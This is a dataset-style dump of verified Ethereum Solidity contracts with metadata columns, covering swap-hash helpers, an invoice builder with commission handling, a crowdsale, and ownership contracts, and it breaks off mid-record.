bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getClaimTypedHash | function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
| /**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
11685,
12302
]
} | 8,827 |
|
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Owned | contract Owned {
/**
* Contract owner address
*/
address public owner;
/**
* @dev Store owner on creation
*/
function Owned() { owner = msg.sender; }
/**
* @dev Delegate contract to another person
* @param _owner is another person address
*/
function delegate(address _owner) onlyOwner
{ owner = _owner; }
/**
* @dev Owner check modifier
*/
modifier onlyOwner { if (msg.sender != owner) throw; _; }
} | /**
* @title Contract for object that have an owner
*/ | NatSpecMultiLine | Owned | function Owned() { owner = msg.sender; }
| /**
* @dev Store owner on creation
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
151,
196
]
} | 8,828 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Owned | contract Owned {
/**
* Contract owner address
*/
address public owner;
/**
* @dev Store owner on creation
*/
function Owned() { owner = msg.sender; }
/**
* @dev Delegate contract to another person
* @param _owner is another person address
*/
function delegate(address _owner) onlyOwner
{ owner = _owner; }
/**
* @dev Owner check modifier
*/
modifier onlyOwner { if (msg.sender != owner) throw; _; }
} | /**
* @title Contract for object that have an owner
*/ | NatSpecMultiLine | delegate | function delegate(address _owner) onlyOwner
{ owner = _owner; }
| /**
* @dev Delegate contract to another person
* @param _owner is another person address
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
314,
387
]
} | 8,829 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Mortal | contract Mortal is Owned {
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can kill me
*/
function kill() onlyOwner
{ suicide(owner); }
} | /**
* @title Contract for objects that can be morder
*/ | NatSpecMultiLine | kill | function kill() onlyOwner
{ suicide(owner); }
| /**
* @dev Destroy contract and scrub a data
* @notice Only owner can kill me
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
132,
187
]
} | 8,830 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Comission | contract Comission is Mortal {
address public ledger;
bytes32 public taxman;
uint public taxPerc;
/**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
*/
function Comission(address _ledger, bytes32 _taxman, uint _taxPerc) {
ledger = _ledger;
taxman = _taxman;
taxPerc = _taxPerc;
}
/**
* @dev Refill ledger with comission
* @param _destination Destination account
*/
function process(bytes32 _destination) payable returns (bool) {
// Handle value below 100 isn't possible
if (msg.value < 100) throw;
var tax = msg.value * taxPerc / 100;
var refill = bytes4(sha3("refill(bytes32)"));
if ( !ledger.call.value(tax)(refill, taxman)
|| !ledger.call.value(msg.value - tax)(refill, _destination)
) throw;
return true;
}
} | Comission | function Comission(address _ledger, bytes32 _taxman, uint _taxPerc) {
ledger = _ledger;
taxman = _taxman;
taxPerc = _taxPerc;
}
| /**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
325,
491
]
} | 8,831 |
||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Comission | contract Comission is Mortal {
address public ledger;
bytes32 public taxman;
uint public taxPerc;
/**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
*/
function Comission(address _ledger, bytes32 _taxman, uint _taxPerc) {
ledger = _ledger;
taxman = _taxman;
taxPerc = _taxPerc;
}
/**
* @dev Refill ledger with comission
* @param _destination Destination account
*/
function process(bytes32 _destination) payable returns (bool) {
// Handle value below 100 isn't possible
if (msg.value < 100) throw;
var tax = msg.value * taxPerc / 100;
var refill = bytes4(sha3("refill(bytes32)"));
if ( !ledger.call.value(tax)(refill, taxman)
|| !ledger.call.value(msg.value - tax)(refill, _destination)
) throw;
return true;
}
} | process | function process(bytes32 _destination) payable returns (bool) {
// Handle value below 100 isn't possible
if (msg.value < 100) throw;
var tax = msg.value * taxPerc / 100;
var refill = bytes4(sha3("refill(bytes32)"));
if ( !ledger.call.value(tax)(refill, taxman)
|| !ledger.call.value(msg.value - tax)(refill, _destination)
) throw;
return true;
}
| /**
* @dev Refill ledger with comission
* @param _destination Destination account
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
602,
1038
]
} | 8,832 |
||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
* @dev Offer type contract
* @param _comission Comission handler address
* @param _description Deal description
* @param _beneficiary Beneficiary account
* @param _value Deal value
*/
function Invoice(address _comission,
string _description,
bytes32 _beneficiary,
uint _value) {
comission = Comission(_comission);
description = _description;
beneficiary = _beneficiary;
value = _value;
}
/**
* @dev Call me to withdraw money
*/
function withdraw() onlyOwner {
if (closeBlock != 0) {
if (!comission.process.value(value)(beneficiary)) throw;
}
}
/**
* @dev Payment fallback function
*/
function () payable {
// Condition check
if (msg.value != value
|| closeBlock != 0) throw;
// Store block when closed
closeBlock = block.number;
signer = msg.sender;
PaymentReceived();
}
/**
* @dev Payment notification
*/
event PaymentReceived();
} | Invoice | function Invoice(address _comission,
string _description,
bytes32 _beneficiary,
uint _value) {
comission = Comission(_comission);
description = _description;
beneficiary = _beneficiary;
value = _value;
}
| /**
* @dev Offer type contract
* @param _comission Comission handler address
* @param _description Deal description
* @param _beneficiary Beneficiary account
* @param _value Deal value
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
459,
786
]
} | 8,833 |
||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
* @dev Offer type contract
* @param _comission Comission handler address
* @param _description Deal description
* @param _beneficiary Beneficiary account
* @param _value Deal value
*/
function Invoice(address _comission,
string _description,
bytes32 _beneficiary,
uint _value) {
comission = Comission(_comission);
description = _description;
beneficiary = _beneficiary;
value = _value;
}
/**
* @dev Call me to withdraw money
*/
function withdraw() onlyOwner {
if (closeBlock != 0) {
if (!comission.process.value(value)(beneficiary)) throw;
}
}
/**
* @dev Payment fallback function
*/
function () payable {
// Condition check
if (msg.value != value
|| closeBlock != 0) throw;
// Store block when closed
closeBlock = block.number;
signer = msg.sender;
PaymentReceived();
}
/**
* @dev Payment notification
*/
event PaymentReceived();
} | withdraw | function withdraw() onlyOwner {
if (closeBlock != 0) {
if (!comission.process.value(value)(beneficiary)) throw;
}
}
| /**
* @dev Call me to withdraw money
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
846,
1002
]
} | 8,834 |
||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
* @dev Offer type contract
* @param _comission Comission handler address
* @param _description Deal description
* @param _beneficiary Beneficiary account
* @param _value Deal value
*/
function Invoice(address _comission,
string _description,
bytes32 _beneficiary,
uint _value) {
comission = Comission(_comission);
description = _description;
beneficiary = _beneficiary;
value = _value;
}
/**
* @dev Call me to withdraw money
*/
function withdraw() onlyOwner {
if (closeBlock != 0) {
if (!comission.process.value(value)(beneficiary)) throw;
}
}
/**
* @dev Payment fallback function
*/
function () payable {
// Condition check
if (msg.value != value
|| closeBlock != 0) throw;
// Store block when closed
closeBlock = block.number;
signer = msg.sender;
PaymentReceived();
}
/**
* @dev Payment notification
*/
event PaymentReceived();
} | function () payable {
// Condition check
if (msg.value != value
|| closeBlock != 0) throw;
// Store block when closed
closeBlock = block.number;
signer = msg.sender;
PaymentReceived();
}
| /**
* @dev Payment fallback function
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
1062,
1326
]
} | 8,835 |
|||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last address
* @return last address contract
*/
function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
/* Building beneficiary */
address public beneficiary;
/**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/
function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
/* Building cost */
uint public buildingCostWei;
/**
* @dev Set building cost
* @param _buildingCostWei is cost
*/
function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
/* Security check report */
string public securityCheckURI;
/**
* @dev Set security check report URI
* @param _uri is an URI to report
*/
function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
} | /**
* @title Builder based contract
*/ | NatSpecMultiLine | getLastContract | function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
| /**
* @dev Get last address
* @return last address contract
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
376,
566
]
} | 8,836 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last address
* @return last address contract
*/
function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
/* Building beneficiary */
address public beneficiary;
/**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/
function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
/* Building cost */
uint public buildingCostWei;
/**
* @dev Set building cost
* @param _buildingCostWei is cost
*/
function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
/* Security check report */
string public securityCheckURI;
/**
* @dev Set security check report URI
* @param _uri is an URI to report
*/
function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
} | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setBeneficiary | function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
| /**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
737,
834
]
} | 8,837 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last address
* @return last address contract
*/
function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
/* Building beneficiary */
address public beneficiary;
/**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/
function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
/* Building cost */
uint public buildingCostWei;
/**
* @dev Set building cost
* @param _buildingCostWei is cost
*/
function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
/* Security check report */
string public securityCheckURI;
/**
* @dev Set security check report URI
* @param _uri is an URI to report
*/
function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
} | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setCost | function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
| /**
* @dev Set building cost
* @param _buildingCostWei is cost
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
988,
1087
]
} | 8,838 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Builder | contract Builder is Mortal {
/**
* @dev this event emitted for every builded contract
*/
event Builded(address indexed client, address indexed instance);
/* Addresses builded contracts at sender */
mapping(address => address[]) public getContractsOf;
/**
* @dev Get last address
* @return last address contract
*/
function getLastContract() constant returns (address) {
var sender_contracts = getContractsOf[msg.sender];
return sender_contracts[sender_contracts.length - 1];
}
/* Building beneficiary */
address public beneficiary;
/**
* @dev Set beneficiary
* @param _beneficiary is address of beneficiary
*/
function setBeneficiary(address _beneficiary) onlyOwner
{ beneficiary = _beneficiary; }
/* Building cost */
uint public buildingCostWei;
/**
* @dev Set building cost
* @param _buildingCostWei is cost
*/
function setCost(uint _buildingCostWei) onlyOwner
{ buildingCostWei = _buildingCostWei; }
/* Security check report */
string public securityCheckURI;
/**
* @dev Set security check report URI
* @param _uri is an URI to report
*/
function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
} | /**
* @title Builder based contract
*/ | NatSpecMultiLine | setSecurityCheck | function setSecurityCheck(string _uri) onlyOwner
{ securityCheckURI = _uri; }
| /**
* @dev Set security check report URI
* @param _uri is an URI to report
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
1263,
1350
]
} | 8,839 |
||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | BuilderInvoice | contract BuilderInvoice is Builder {
/**
* @dev Run script creation contract
* @return address new contract
*/
function create(address _comission, string _description,
bytes32 _beneficiary, uint _value,
address _client) payable returns (address) {
if (buildingCostWei > 0 && beneficiary != 0) {
// Too low value
if (msg.value < buildingCostWei) throw;
// Beneficiary send
if (!beneficiary.send(buildingCostWei)) throw;
// Refund
if (msg.value > buildingCostWei) {
if (!msg.sender.send(msg.value - buildingCostWei)) throw;
}
} else {
// Refund all
if (msg.value > 0) {
if (!msg.sender.send(msg.value)) throw;
}
}
if (_client == 0)
_client = msg.sender;
var inst = CreatorInvoice.create(_comission, _description, _beneficiary, _value);
inst.delegate(_client);
Builded(_client, inst);
getContractsOf[_client].push(inst);
return inst;
}
} | /**
* @title BuilderInvoice contract
*/ | NatSpecMultiLine | create | function create(address _comission, string _description,
bytes32 _beneficiary, uint _value,
address _client) payable returns (address) {
if (buildingCostWei > 0 && beneficiary != 0) {
// Too low value
if (msg.value < buildingCostWei) throw;
// Beneficiary send
if (!beneficiary.send(buildingCostWei)) throw;
// Refund
if (msg.value > buildingCostWei) {
if (!msg.sender.send(msg.value - buildingCostWei)) throw;
}
} else {
// Refund all
if (msg.value > 0) {
if (!msg.sender.send(msg.value)) throw;
}
}
if (_client == 0)
_client = msg.sender;
var inst = CreatorInvoice.create(_comission, _description, _beneficiary, _value);
inst.delegate(_client);
Builded(_client, inst);
getContractsOf[_client].push(inst);
return inst;
}
| /**
* @dev Run script creation contract
* @return address new contract
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
135,
1171
]
} | 8,840 |
||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constructor function
*
* Setup the owner
*/
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/
function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
} | Crowdsale | function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
| /**
* Constructor function
*
* Setup the owner
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
496,
823
]
} | 8,841 |
|||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constructor function
*
* Setup the owner
*/
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/
function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
} | function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
| /**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
993,
1283
]
} | 8,842 |
||||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constructor function
*
* Setup the owner
*/
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/
function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
} | checkGoalReached | function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
| /**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
1486,
1810
]
} | 8,843 |
|||
Crowdsale | Crowdsale.sol | 0x950ad688ade27bcaa6e890e9d86ba5a9293f4d8c | Solidity | Crowdsale | contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public amountRemaining;
uint public deadline;
uint public price;
token public tokenReward;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constructor function
*
* Setup the owner
*/
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = 5000 * 1 ether;
deadline = 1532361600;
price = 10 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
amountRaised += amount;
amountRemaining+= amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign
*/
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
emit GoalReached(beneficiary, amountRaised);
}
else
{
tokenReward.transfer(beneficiary, (fundingGoal-amountRaised) / price);
}
crowdsaleClosed = true;
}
/**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/
function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
} | safeWithdrawal | function safeWithdrawal() public afterDeadline {
if (beneficiary == msg.sender) {
if (beneficiary.send(amountRemaining)) {
amountRemaining =0;
emit FundTransfer(beneficiary, amountRemaining, false);
}
}
}
| /**
* Withdraw the funds
*
* Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
* sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
* the amount they contributed.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://14dc1f9c3f3316d651d842f28051d4e8f2cd69f1b5c71064f9421423b5125774 | {
"func_code_index": [
2116,
2405
]
} | 8,844 |
|||
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | Ownable | contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | Ownable | function Ownable() {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://d769379fd8729f2d0d7812d368b7c17e26a6faac2716df276dc7a8a73d6a61f3 | {
"func_code_index": [
170,
223
]
} | 8,845 |
|
ACFSale | ACFSale.sol | 0x30a0d9a67816699356f1059965e846b828aadc17 | Solidity | Ownable | contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
